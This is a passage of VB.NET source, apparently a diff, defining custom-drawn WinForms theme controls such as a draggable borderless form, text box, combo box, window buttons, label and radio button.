+ End Set + End Property + Private MouseDownPoint As Point = Point.Empty + Public Overridable Property Title() As String + Get + Return Text + End Get + Set(ByVal value As String) + Text = value + End Set + End Property + Public Overridable Property TitleColorFront() As Color + Get + Return ForeColor + End Get + Set(ByVal value As Color) + ForeColor = value + End Set + End Property + Private _TitleColorBack As Color + Public Overridable Property TitleColorBack() As Color + Get + Return _TitleColorBack + End Get + Set(ByVal value As Color) + _TitleColorBack = value + Invalidate() + End Set + End Property + Public Shadows Property Size() As Size + Get + Return MyBase.Size + End Get + Set(ByVal value As Size) + If TypeOf Parent Is Form Then + ParentForm.Size = value + End If + MyBase.Size = value + Invalidate() + End Set + End Property + Private _Radius As Integer = 5 + Public Overridable Property Radius() As Integer + Get + Return _Radius + End Get + Set(ByVal value As Integer) + _Radius = value + Invalidate() + End Set + End Property + Public Overridable Shadows Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + MyBase.BackColor = value + Invalidate() + End Set + End Property + + Private _BorderStyle As FormBorderStyle = FormBorderStyle.None + Public Overridable Property BorderStyle() As FormBorderStyle + Get + If TypeOf Parent Is Form Then + Return ParentForm.FormBorderStyle + Else + Return _BorderStyle + End If + End Get + Set(ByVal value As FormBorderStyle) + If TypeOf Parent Is Form Then + ParentForm.FormBorderStyle = value + End If + _BorderStyle = value + Invalidate() + End Set + End Property + Private _TransparencyKey As Color = Color.Magenta + Public Overridable Property TransparencyKey() As Color + Get + If TypeOf Parent Is Form Then + Return ParentForm.TransparencyKey + Else + Return _TransparencyKey + End If + End Get + Set(ByVal value As Color) + If TypeOf Parent Is Form Then + ParentForm.TransparencyKey = value + End If + _TransparencyKey = value + Invalidate() + End Set + End Property + Private _TopMost As Boolean = False + Public Overridable Property TopMost() As Boolean + Get + If TypeOf Parent Is Form Then + Return ParentForm.TopMost + Else + Return _TopMost + End If + End Get + Set(ByVal value As Boolean) + If TypeOf Parent Is Form Then + ParentForm.TopMost = value + End If + _TopMost = value + Invalidate() + End Set + End Property + Private _StartPosition As FormStartPosition = FormStartPosition.CenterScreen + Public Property StartPosition() As FormStartPosition + Get + If TypeOf Parent Is Form Then + Return ParentForm.StartPosition + Else + Return _StartPosition + End If + End Get + Set(ByVal value As FormStartPosition) + If TypeOf Parent Is Form Then + ParentForm.StartPosition = value + End If + _StartPosition = value + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Shadows Property TabIndex() As Integer + Get + Return MyBase.TabIndex + End Get + Set(ByVal value As Integer) + MyBase.TabIndex = value + End Set + End Property + + _ + Public Shadows Property TabStop() As Boolean + Get + Return MyBase.TabStop + End Get + Set(ByVal value As Boolean) + MyBase.TabStop = value + End Set + End Property + + _ + Public Overrides Property Anchor() As AnchorStyles + Get + Return MyBase.Anchor + End Get + Set(ByVal value As AnchorStyles) + MyBase.Anchor = value + End Set + End Property + + _ + Public Overrides Property AutoScroll() As Boolean + Get + Return MyBase.AutoScroll + End Get + Set(ByVal value As Boolean) + MyBase.AutoScroll = value + End Set + End Property + + _ + Public Shadows Property AutoScrollMargin() As Size + Get + Return MyBase.AutoScrollMargin + End Get + Set(ByVal value As Size) + MyBase.AutoScrollMargin = value + End Set + End Property + + _ + Public Shadows Property AutoScrollMinSize() As Size + Get + Return MyBase.AutoScrollMinSize + End Get + Set(ByVal value As Size) + MyBase.AutoScrollMinSize = value + End Set + End Property + + _ + Public Shadows Property Location() As Point + Get + Return MyBase.Location + End Get + Set(ByVal value As Point) + MyBase.Location = value + End Set + End Property + + _ + Public Overrides Property MinimumSize() As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + End Set + End Property + + _ + Public Overrides Property MaximumSize() As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Overrides Property Dock() As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + MyBase.Dock = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property + + _ + Public Shadows Property Enabled() As Boolean + Get + Return MyBase.Enabled + End Get + Set(ByVal value As Boolean) + MyBase.Enabled = value + End Set + End Property +#End Region + + Public Sub New() + BackColor = Color.FromArgb(50, 50, 50) + Font = New Font("Verdana", 9, FontStyle.Bold) + TitleColorFront = Color.White + TitleColorBack = Color.Black + DoubleBuffered = True + End Sub + + Protected Overrides Sub OnParentChanged(ByVal e As System.EventArgs) + If Not (TypeOf Parent Is Form) Then + Return + End If + BorderStyle = FormBorderStyle.None + ParentForm.BackColor = Color.Magenta + TransparencyKey = ParentForm.BackColor + Title = ParentForm.Text + MyBase.OnParentChanged(e) + End Sub + + Private Sub Load(ByVal sender As Object, ByVal e As System.EventArgs) + End Sub + + Protected Overrides Sub OnResize(ByVal e As System.EventArgs) + If TypeOf Parent Is Form Then + Location = New Point(0, 0) + ParentForm.Size = Size + End If + MyBase.OnResize(e) + End Sub + Protected Overrides Sub OnMove(ByVal e As System.EventArgs) + If TypeOf Parent Is Form Then + Location = New Point(0, 0) + ParentForm.Size = Size + End If + MyBase.OnMove(e) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + e.Graphics.Clear(TransparencyKey) + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, Width, Height), Radius, New Pen(Color.Black, 1), BackColor) + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, Width, 27), (Radius / 2), New Pen(Color.Black, 1), BackColor) + NetTwist.DrawString(e.Graphics, Font, Title, TitleColorBack, StringAlignment.Near, New PointF(6, 6)) + NetTwist.DrawString(e.Graphics, Font, Title, TitleColorFront, StringAlignment.Near, New PointF(5, 5)) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button <> MouseButtons.Left Then + Return + End If + MouseDownPoint = New Point(e.X, e.Y) + End Sub + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If (Not (TypeOf Parent Is Form)) OrElse (MouseDownPoint = Point.Empty) Then + Return + End If + ParentForm.Location = New Point((ParentForm.Left + e.X - MouseDownPoint.X), (ParentForm.Top + e.Y - MouseDownPoint.Y)) + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + If e.Button <> MouseButtons.Left Then + Return + End If + MouseDownPoint = Point.Empty + End Sub +End Class + + _ +Class STTextBox + Inherits Control +#Region "Properties" + Private Base As TextBox + Public Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Base.Text = value + Invalidate() + End Set + End Property + Public Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Base.Font = value + Invalidate() + End Set + End Property + Private _BackColorTop As Color, _BackColorBottom As Color + Public Overridable Property BackColorTop() As Color + Get + Return _BackColorTop + End Get + Set(ByVal value As Color) + _BackColorTop = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorBottom() As Color + Get + Return _BackColorBottom + End Get + Set(ByVal value As Color) + _BackColorBottom = value + Invalidate() + End Set + End Property + Private _HorizontalAlignment As HorizontalAlignment = HorizontalAlignment.Left + Public Overridable Property HorizontalAlignment() As HorizontalAlignment + Get + Return _HorizontalAlignment + End Get + Set(ByVal value As HorizontalAlignment) + _HorizontalAlignment = value + Base.TextAlign = value + Invalidate() + End Set + End Property + Public Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + MyBase.BackColor = value + Base.BackColor = value + Invalidate() + End Set + End Property + Public Overrides Property ForeColor() As Color + Get + Return MyBase.ForeColor + End Get + Set(ByVal value As Color) + MyBase.ForeColor = value + Base.ForeColor = value + Invalidate() + End Set + End Property + Private _OutlineColor As Color = Color.White + Public Overridable Property OutlineColor() As Color + Get + Return _OutlineColor + End Get + Set(ByVal value As Color) + _OutlineColor = value + Invalidate() + End Set + End Property + Private _PasswordChar As Char + Public Overridable Property PasswordChar() As Char + Get + Return _PasswordChar + End Get + Set(ByVal value As Char) + _PasswordChar = value + Base.PasswordChar = value + Invalidate() + End Set + End Property + Private _Radius As Integer = 3 + Public Overridable Property Radius() As Integer + Get + Return _Radius + End Get + Set(ByVal value As Integer) + _Radius = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Overrides Property MinimumSize() As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + End Set + End Property + + _ + Public Overrides Property MaximumSize() As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property +#End Region + + Public Sub New() + Cursor = Cursors.IBeam + Base = New TextBox() + AddHandler Base.TextChanged, AddressOf Base_TextChanged + AddHandler Base.KeyDown, AddressOf Base_KeyDown + Base.BorderStyle = BorderStyle.None + Font = New Font("Verdana", 8, FontStyle.Regular) + ForeColor = Color.White + MinimumSize = New Size(40, 21) + Size = New Size(120, MinimumSize.Height) + OutlineColor = Color.FromArgb(30, 30, 30) + BackColorTop = Color.FromArgb(60, 60, 60) + BackColor = Color.FromArgb(50, 50, 50) + BackColorBottom = Color.FromArgb(40, 40, 40) + End Sub + + Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs) + If Not Controls.Contains(Base) Then + Controls.Add(Base) + End If + MyBase.OnHandleCreated(e) + End Sub + Private Sub Base_KeyDown(ByVal sender As Object, ByVal e As KeyEventArgs) + If (e.Control) AndAlso (e.KeyCode = Keys.A) Then + Base.SelectAll() + e.SuppressKeyPress = True + End If + End Sub + Private Sub Base_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) + Text = Base.Text + End Sub + Protected Overrides Sub OnResize(ByVal e As System.EventArgs) + Base.Location = New Point(4, 4) + Base.Size = New Size((Width - 8), (Height - 8)) + MyBase.OnResize(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + Base.Focus() + MyBase.OnMouseDown(e) + End Sub + Protected Overrides Sub OnEnter(ByVal e As System.EventArgs) + Base.Focus() + Invalidate() + MyBase.OnEnter(e) + End Sub + Protected Overrides Sub OnLeave(ByVal e As System.EventArgs) + Invalidate() + MyBase.OnLeave(e) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + e.Graphics.Clear(Parent.BackColor) + e.Graphics.SmoothingMode = SmoothingMode.AntiAlias + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, Width, Height), Radius, New Pen(OutlineColor, 1), NetTwist.CreateGradient(Width, Height, BackColorTop, BackColorBottom)) + End Sub +End Class + +Class STComboBox + Inherits ComboBox +#Region "Properties" + Private _BackColorTop As Color, _BackColorBottom As Color, _OutlineColor As Color, _TextColorBack As Color + Public Overridable Property BackColorTop() As Color + Get + Return _BackColorTop + End Get + Set(ByVal value As Color) + _BackColorTop = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorBottom() As Color + Get + Return _BackColorBottom + End Get + Set(ByVal value As Color) + _BackColorBottom = value + Invalidate() + End Set + End Property + Public Overridable Property OutlineColor() As Color + Get + Return _OutlineColor + End Get + Set(ByVal value As Color) + _OutlineColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextColor() As Color + Get + Return ForeColor + End Get + Set(ByVal value As Color) + ForeColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextColorBack() As Color + Get + Return _TextColorBack + End Get + Set(ByVal value As Color) + _TextColorBack = value + Invalidate() + End Set + End Property + Private _Radius As Integer = 3 + Public Overridable Property Radius() As Integer + Get + Return _Radius + End Get + Set(ByVal value As Integer) + _Radius = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property ForeColor() As Color + Get + Return MyBase.ForeColor + End Get + Set(ByVal value As Color) + MyBase.ForeColor = value + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Overrides Property Anchor() As AnchorStyles + Get + Return MyBase.Anchor + End Get + Set(ByVal value As AnchorStyles) + MyBase.Anchor = value + End Set + End Property + + _ + Public Overrides Property MinimumSize() As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + End Set + End Property + + _ + Public Overrides Property MaximumSize() As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property +#End Region + + Public Sub New() + SetStyle(DirectCast(139286, ControlStyles), True) + SetStyle(ControlStyles.Selectable, False) + BackColorTop = Color.FromArgb(60, 60, 60) + BackColorBottom = Color.FromArgb(40, 40, 40) + DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed + DropDownStyle = ComboBoxStyle.DropDownList + OutlineColor = Color.FromArgb(30, 30, 30) + TextColor = Color.White + TextColorBack = Color.Black + Size = New Size(140, Height) + Font = New Font("Verdana", 8, FontStyle.Regular) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If (SelectedIndex = -1) AndAlso (Items.Count > 0) Then + SelectedIndex = 0 + Text = Items(0).ToString() + Invalidate() + End If + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + e.Graphics.Clear(Parent.BackColor) + e.Graphics.SmoothingMode = SmoothingMode.AntiAlias + NetTwist.DrawRoundRectangle(e.Graphics, New Rectangle(0, 0, Width, Height), Radius, New Pen(OutlineColor, 1), NetTwist.CreateGradient(Width, Height, BackColorTop, BackColorBottom)) + Dim TextSize As SizeF = e.Graphics.MeasureString(Text, Font) + NetTwist.DrawString(e.Graphics, Font, Text, TextColorBack, StringAlignment.Near, New PointF(5, ((Height / 2) - (TextSize.Height / 2) + 1))) + NetTwist.DrawString(e.Graphics, Font, Text, TextColor, StringAlignment.Near, New PointF(4, ((Height / 2) - (TextSize.Height / 2)))) + e.Graphics.DrawLine(New Pen(Brushes.Black, 2.0F), Width - 15, 10, Width - 11, 13) + e.Graphics.DrawLine(New Pen(Brushes.Black, 2.0F), Width - 7, 10, Width - 11, 13) + e.Graphics.DrawLine(Pens.Black, Width - 11, 13, Width - 11, 14) + e.Graphics.DrawLine(New Pen(Color.White, 2.0F), Width - 16, 9, Width - 12, 12) + e.Graphics.DrawLine(New Pen(Color.White, 2.0F), Width - 8, 9, Width - 12, 12) + e.Graphics.DrawLine(Pens.White, Width - 12, 12, Width - 12, 13) + e.Graphics.DrawLine(New Pen(Color.FromArgb(35, 35, 35)), Width - 22, 0, Width - 22, Height) + e.Graphics.DrawLine(New Pen(Color.FromArgb(65, 65, 65)), (Width - 23), 2, (Width - 23), (Height - 4)) + e.Graphics.DrawLine(New Pen(Color.FromArgb(65, 65, 65)), (Width - 21), 2, (Width - 21), (Height - 4)) + End Sub + + Protected Overrides Sub OnDrawItem(ByVal e As DrawItemEventArgs) + e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit + If (e.State And DrawItemState.Selected) = DrawItemState.Selected Then + e.Graphics.FillRectangle(New SolidBrush(BackColorTop), e.Bounds) + Else + e.Graphics.FillRectangle(New SolidBrush(BackColorBottom), e.Bounds) + End If + If Not (e.Index = -1) Then + e.Graphics.DrawString(GetItemText(Items(e.Index)), e.Font, New SolidBrush(TextColor), e.Bounds) + End If + End Sub +End Class + +Class STControlButton + Inherits Control +#Region "Properties" + Public Enum Button + Minimize + Maximize + Close + End Enum + Private _ControlButton As Button + Public Property ControlButton() As Button + Get + Return _ControlButton + End Get + Set(ByVal value As Button) + _ControlButton = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Shadows Property TabIndex() As Integer + Get + Return MyBase.TabIndex + End Get + Set(ByVal value As Integer) + MyBase.TabIndex = value + End Set + End Property + + _ + Public Shadows Property TabStop() As Boolean + Get + Return MyBase.TabStop + End Get + Set(ByVal value As Boolean) + MyBase.TabStop = value + End Set + End Property + + _ + Public Overrides Property MinimumSize() As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + End Set + End Property + + _ + Public Overrides Property MaximumSize() As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Overrides Property Dock() As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + MyBase.Dock = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property + + _ + Public Shadows Property Enabled() As Boolean + Get + Return MyBase.Enabled + End Get + Set(ByVal value As Boolean) + MyBase.Enabled = value + End Set + End Property +#End Region + + Public Sub New() + Anchor = AnchorStyles.Top Or AnchorStyles.Right + ControlButton = Button.Close + Size = New Size(18, 20) + MinimumSize = Size + MaximumSize = Size + Margin = New Padding(0) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + e.Graphics.Clear(Parent.BackColor) + Select Case ControlButton + Case Button.Close + NetTwist.DrawCross(e.Graphics, New Point(4, 5)) + Exit Select + Case Button.Maximize + If FindForm().WindowState = FormWindowState.Maximized Then + DrawRestore(e.Graphics, New Point(3, 4)) + Else + DrawMaximize(e.Graphics, New Point(3, 5)) + End If + Exit Select + Case Button.Minimize + DrawMinimize(e.Graphics, New Point(3, 10)) + Exit Select + End Select + End Sub + + Protected Overrides Sub OnMouseClick(ByVal e As MouseEventArgs) + If e.Button = System.Windows.Forms.MouseButtons.Left Then + Dim ParentForm As Form = FindForm() + Select Case ControlButton + Case Button.Minimize + ParentForm.WindowState = FormWindowState.Minimized + Exit Select + Case Button.Maximize + If ParentForm.WindowState = FormWindowState.Normal Then + ParentForm.WindowState = FormWindowState.Maximized + Else + ParentForm.WindowState = FormWindowState.Normal + End If + Exit Select + Case Button.Close + ParentForm.Close() + Exit Select + End Select + End If + Invalidate() + MyBase.OnMouseClick(e) + End Sub + + Private Sub DrawMinimize(ByVal Graphics As Graphics, ByVal Location As Point) + Graphics.FillRectangle(Brushes.White, Location.X, Location.Y, 12, 5) + Graphics.DrawRectangle(Pens.Black, Location.X, Location.Y, 11, 4) + End Sub + Private Sub DrawMaximize(ByVal Graphics As Graphics, ByVal Location As Point) + Graphics.DrawRectangle(New Pen(Color.White, 2), Location.X + 2, Location.Y + 2, 8, 6) + Graphics.DrawRectangle(Pens.Black, Location.X, Location.Y, 11, 9) + Graphics.DrawRectangle(Pens.Black, Location.X + 3, Location.Y + 3, 5, 3) + End Sub + Private Sub DrawRestore(ByVal Graphics As Graphics, ByVal Location As Point) + Graphics.FillRectangle(Brushes.White, Location.X + 3, Location.Y + 1, 8, 4) + Graphics.FillRectangle(Brushes.White, Location.X + 7, Location.Y + 5, 4, 4) + Graphics.DrawRectangle(Pens.Black, Location.X + 2, Location.Y + 0, 9, 9) + + Graphics.FillRectangle(Brushes.White, Location.X + 1, Location.Y + 3, 2, 6) + Graphics.FillRectangle(Brushes.White, Location.X + 1, Location.Y + 9, 8, 2) + Graphics.DrawRectangle(Pens.Black, Location.X, Location.Y + 2, 9, 9) + Graphics.DrawRectangle(Pens.Black, Location.X + 3, Location.Y + 5, 3, 3) + End Sub +End Class + +Class STLabel + Inherits Control +#Region "Properties" + _ + Public Overrides Property ForeColor() As Color + Get + Return MyBase.ForeColor + End Get + Set(ByVal value As Color) + MyBase.ForeColor = value + End Set + End Property + + _ + Public Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + MyBase.BackColor = value + End Set + End Property + + Private _TextColorBack As Color + Public Overridable Property TextColor() As Color + Get + Return ForeColor + End Get + Set(ByVal value As Color) + ForeColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextColorBack() As Color + Get + Return _TextColorBack + End Get + Set(ByVal value As Color) + _TextColorBack = value + Invalidate() + End Set + End Property + Public Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Shadows Property TabIndex() As Integer + Get + Return MyBase.TabIndex + End Get + Set(ByVal value As Integer) + MyBase.TabIndex = value + End Set + End Property + + _ + Public Shadows Property TabStop() As Boolean + Get + Return MyBase.TabStop + End Get + Set(ByVal value As Boolean) + MyBase.TabStop = value + End Set + End Property + + _ + Public Overrides Property MinimumSize() As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + End Set + End Property + + _ + Public Overrides Property MaximumSize() As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + End Set + End Property + + _ + Public Shadows Property ImeMode() As ImeMode + Get + Return MyBase.ImeMode + End Get + Set(ByVal value As ImeMode) + MyBase.ImeMode = value + End Set + End Property + + _ + Public Overrides Property BackgroundImage() As Image + Get + Return MyBase.BackgroundImage + End Get + Set(ByVal value As Image) + MyBase.BackgroundImage = value + End Set + End Property + + _ + Public Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return MyBase.BackgroundImageLayout + End Get + Set(ByVal value As ImageLayout) + MyBase.BackgroundImageLayout = value + End Set + End Property + + _ + Public Overrides Property Dock() As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + MyBase.Dock = value + End Set + End Property + + _ + Public Shadows Property CausesValidation() As Boolean + Get + Return MyBase.CausesValidation + End Get + Set(ByVal value As Boolean) + MyBase.CausesValidation = value + End Set + End Property + + _ + Public Overrides Property ContextMenuStrip() As ContextMenuStrip + Get + Return MyBase.ContextMenuStrip + End Get + Set(ByVal value As ContextMenuStrip) + MyBase.ContextMenuStrip = value + End Set + End Property + + _ + Public Shadows Property Enabled() As Boolean + Get + Return MyBase.Enabled + End Get + Set(ByVal value As Boolean) + MyBase.Enabled = value + End Set + End Property +#End Region + + Public Sub New() + TextColor = Color.White + TextColorBack = Color.Black + Font = New Font("Verdana", 8, FontStyle.Regular) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + Dim TextSize As SizeF = e.Graphics.MeasureString(Text, Font) + Size = New Size(CInt(TextSize.Width), CInt(TextSize.Height)) + e.Graphics.Clear(Parent.BackColor) + NetTwist.DrawString(e.Graphics, Font, Text, TextColorBack, StringAlignment.Near, New PointF(1, 1)) + NetTwist.DrawString(e.Graphics, Font, Text, TextColor, StringAlignment.Near, New PointF(0, 0)) + End Sub +End Class + + _ +Class STRadioButton + Inherits Control +#Region "Properties" + _ + Public Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + MyBase.BackColor = value + End Set + End Property + + _ + Public Overrides Property ForeColor() As Color + Get + Return MyBase.ForeColor + End Get + Set(ByVal value As Color) + MyBase.ForeColor = value + End Set + End Property + + Public Event CheckedChanged As CheckedChangedEventHandler + Public Delegate Sub CheckedChangedEventHandler(ByVal sender As Object) + Private _BorderThickness As Integer = 2 + Public Overridable Property BorderThickness() As Integer + Get + Return _BorderThickness + End Get + Set(ByVal value As Integer) + _BorderThickness = value + Invalidate() + End Set + End Property + Private _Checked As Boolean + Public Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + If value Then + InvalidateParent() + End If + RaiseEvent CheckedChanged(Me) + Invalidate() + End Set + End Property + Public Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + Public Overridable Property TextColor() As Color + Get + Return ForeColor + End Get + Set(ByVal value As Color) + ForeColor = value + Invalidate() + End Set + End Property + Public Overridable Property TextColorBack() As Color + Get + Return _TextColorBack + End Get + Set(ByVal value As Color) + _TextColorBack = value + Invalidate() + End Set + End Property + Private _BackColorTop As Color, _BackColorBottom As Color, _TextColorBack As Color, _OutlineColor As Color, _CheckedColor As Color + Public Overridable Property CheckedColor() As Color + Get + Return _CheckedColor + End Get + Set(ByVal value As Color) + _CheckedColor = value + Invalidate() + End Set + End Property + Public Overridable Property OutlineColor() As Color + Get + Return _OutlineColor + End Get + Set(ByVal value As Color) + _OutlineColor = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorTop() As Color + Get + Return _BackColorTop + End Get + Set(ByVal value As Color) + _BackColorTop = value + Invalidate() + End Set + End Property + Public Overridable Property BackColorBottom() As Color + Get + Return _BackColorBottom + End Get + Set(ByVal value As Color) + _BackColorBottom = value + Invalidate() + End Set + End Property + + _ + Public Overrides Property RightToLeft() As RightToLeft + Get + Return MyBase.RightToLeft + End Get + Set(ByVal value As RightToLeft) + MyBase.RightToLeft = value + End Set + End Property + + _ + Public Shadows Property UseWaitCursor() As Boolean + Get + Return MyBase.UseWaitCursor + End Get + Set(ByVal value As Boolean) + MyBase.UseWaitCursor = value + End Set + End Property + + _ + Public Overrides Property MinimumSize() As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + End 